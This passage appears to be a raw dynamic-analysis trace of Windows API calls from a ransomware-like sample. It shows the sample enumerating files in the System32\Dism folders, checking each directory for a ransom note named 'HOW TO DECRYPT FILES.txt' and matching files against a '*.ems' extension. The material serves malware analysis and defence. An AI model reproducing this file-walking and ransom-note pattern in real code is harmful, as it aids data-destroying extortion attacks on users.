pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.705] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.705] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.705] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="CompatProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\CompatProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\CompatProvider.dll.mui" [0144.705] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DismCore.dll.mui", cAlternateFileName="")) returned 1 [0144.706] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\CompatProvider.dll.mui") returned="CompatProvider.dll.mui" [0144.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.706] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.706] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.706] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.706] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="DismCore.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\DismCore.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\DismCore.dll.mui" [0144.706] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DismProv.dll.mui", cAlternateFileName="")) returned 1 [0144.706] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\DismCore.dll.mui") returned="DismCore.dll.mui" [0144.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.707] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.707] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.707] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.707] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="DismProv.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\DismProv.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\DismProv.dll.mui" [0144.707] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DmiProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.707] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\DismProv.dll.mui") returned="DismProv.dll.mui" [0144.707] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.707] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.707] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.707] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.708] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="DmiProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\DmiProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\DmiProvider.dll.mui" [0144.708] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FolderProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.708] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\DmiProvider.dll.mui") returned="DmiProvider.dll.mui" [0144.708] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.708] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.708] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.709] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.709] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="FolderProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\FolderProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\FolderProvider.dll.mui" [0144.709] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntlProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.709] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\FolderProvider.dll.mui") returned="FolderProvider.dll.mui" [0144.709] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.709] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.709] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.709] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.710] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="IntlProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\IntlProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\IntlProvider.dll.mui" [0144.710] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9292bcb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9292bcb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.710] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\IntlProvider.dll.mui") returned="IntlProvider.dll.mui" [0144.710] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.710] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.710] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.710] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.710] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="LogProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\LogProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\LogProvider.dll.mui" [0144.711] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d5487, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xacd0afb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa9d5487, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsiProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.711] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\LogProvider.dll.mui") returned="LogProvider.dll.mui" [0144.711] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.711] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.711] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.711] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.711] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="MsiProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\MsiProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\MsiProvider.dll.mui" [0144.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.712] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\MsiProvider.dll.mui") returned="MsiProvider.dll.mui" [0144.712] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.712] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.712] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.712] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.712] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="OSProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\OSProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\OSProvider.dll.mui" [0144.713] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmiProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.713] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\OSProvider.dll.mui") returned="OSProvider.dll.mui" [0144.713] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.713] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.713] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.713] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.713] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="SmiProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\SmiProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\SmiProvider.dll.mui" [0144.713] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransmogProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.714] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\SmiProvider.dll.mui") returned="SmiProvider.dll.mui" [0144.714] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.714] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.714] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.714] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.714] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="TransmogProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\TransmogProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\TransmogProvider.dll.mui" [0144.714] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnattendProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.715] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\TransmogProvider.dll.mui") returned="TransmogProvider.dll.mui" [0144.715] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.715] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.715] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.715] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.715] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="UnattendProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\UnattendProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\UnattendProvider.dll.mui" [0144.715] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WimProvider.dll.mui", cAlternateFileName="")) returned 1 [0144.716] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\en-US\\UnattendProvider.dll.mui") returned="UnattendProvider.dll.mui" [0144.716] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\en-US\\" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\") returned="C:\\Windows\\System32\\Dism\\en-US\\" [0144.716] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\en-US\\" | out: pszPath="C:\\Windows\\System32\\Dism\\en-US\\") returned="" [0144.716] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" [0144.716] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\en-us\\how to decrypt files.txt")) returned 0x20 [0144.716] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\en-US\\", lpString2="WimProvider.dll.mui" | out: lpString1="C:\\Windows\\System32\\Dism\\en-US\\WimProvider.dll.mui") returned="C:\\Windows\\System32\\Dism\\en-US\\WimProvider.dll.mui" [0144.716] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WimProvider.dll.mui", cAlternateFileName="")) returned 0 [0144.717] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0144.717] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f90ac0e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f90ac0e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f90ac0e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="FolderProvider.dll", cAlternateFileName="")) returned 1 [0144.717] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\*.*") returned="*.*" [0144.717] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.717] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.717] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.717] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.717] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="FolderProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\FolderProvider.dll") returned="C:\\Windows\\System32\\Dism\\FolderProvider.dll" [0144.717] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\FolderProvider.dll", pszSpec="*.ems") returned 0 [0144.718] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831896be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831896be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831896be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="IntlProvider.dll", cAlternateFileName="")) returned 1 [0144.718] PathFindFileNameA (pszPath="C:\\Windows\\System32\\Dism\\FolderProvider.dll") returned="FolderProvider.dll" [0144.718] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\Dism\\" | out: lpString1="C:\\Windows\\System32\\Dism\\") returned="C:\\Windows\\System32\\Dism\\" [0144.718] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\Dism\\" | out: pszPath="C:\\Windows\\System32\\Dism\\") returned="" [0144.718] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" [0144.718] GetFileAttributesA (lpFileName="C:\\Windows\\System32\\Dism\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\system32\\dism\\how to decrypt files.txt")) returned 0x20 [0144.718] lstrcatA (in: lpString1="C:\\Windows\\System32\\Dism\\", lpString2="IntlProvider.dll" | out: lpString1="C:\\Windows\\System32\\Dism\\IntlProvider.dll") returned="C:\\Windows\\System32\\Dism\\IntlProvider.dll" [0144.718] PathMatchSpecA (pszFile="C:\\Windows\\System32\\Dism\\IntlProvider.dll", pszSpec="*.ems") returned 0 [0144.718] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, 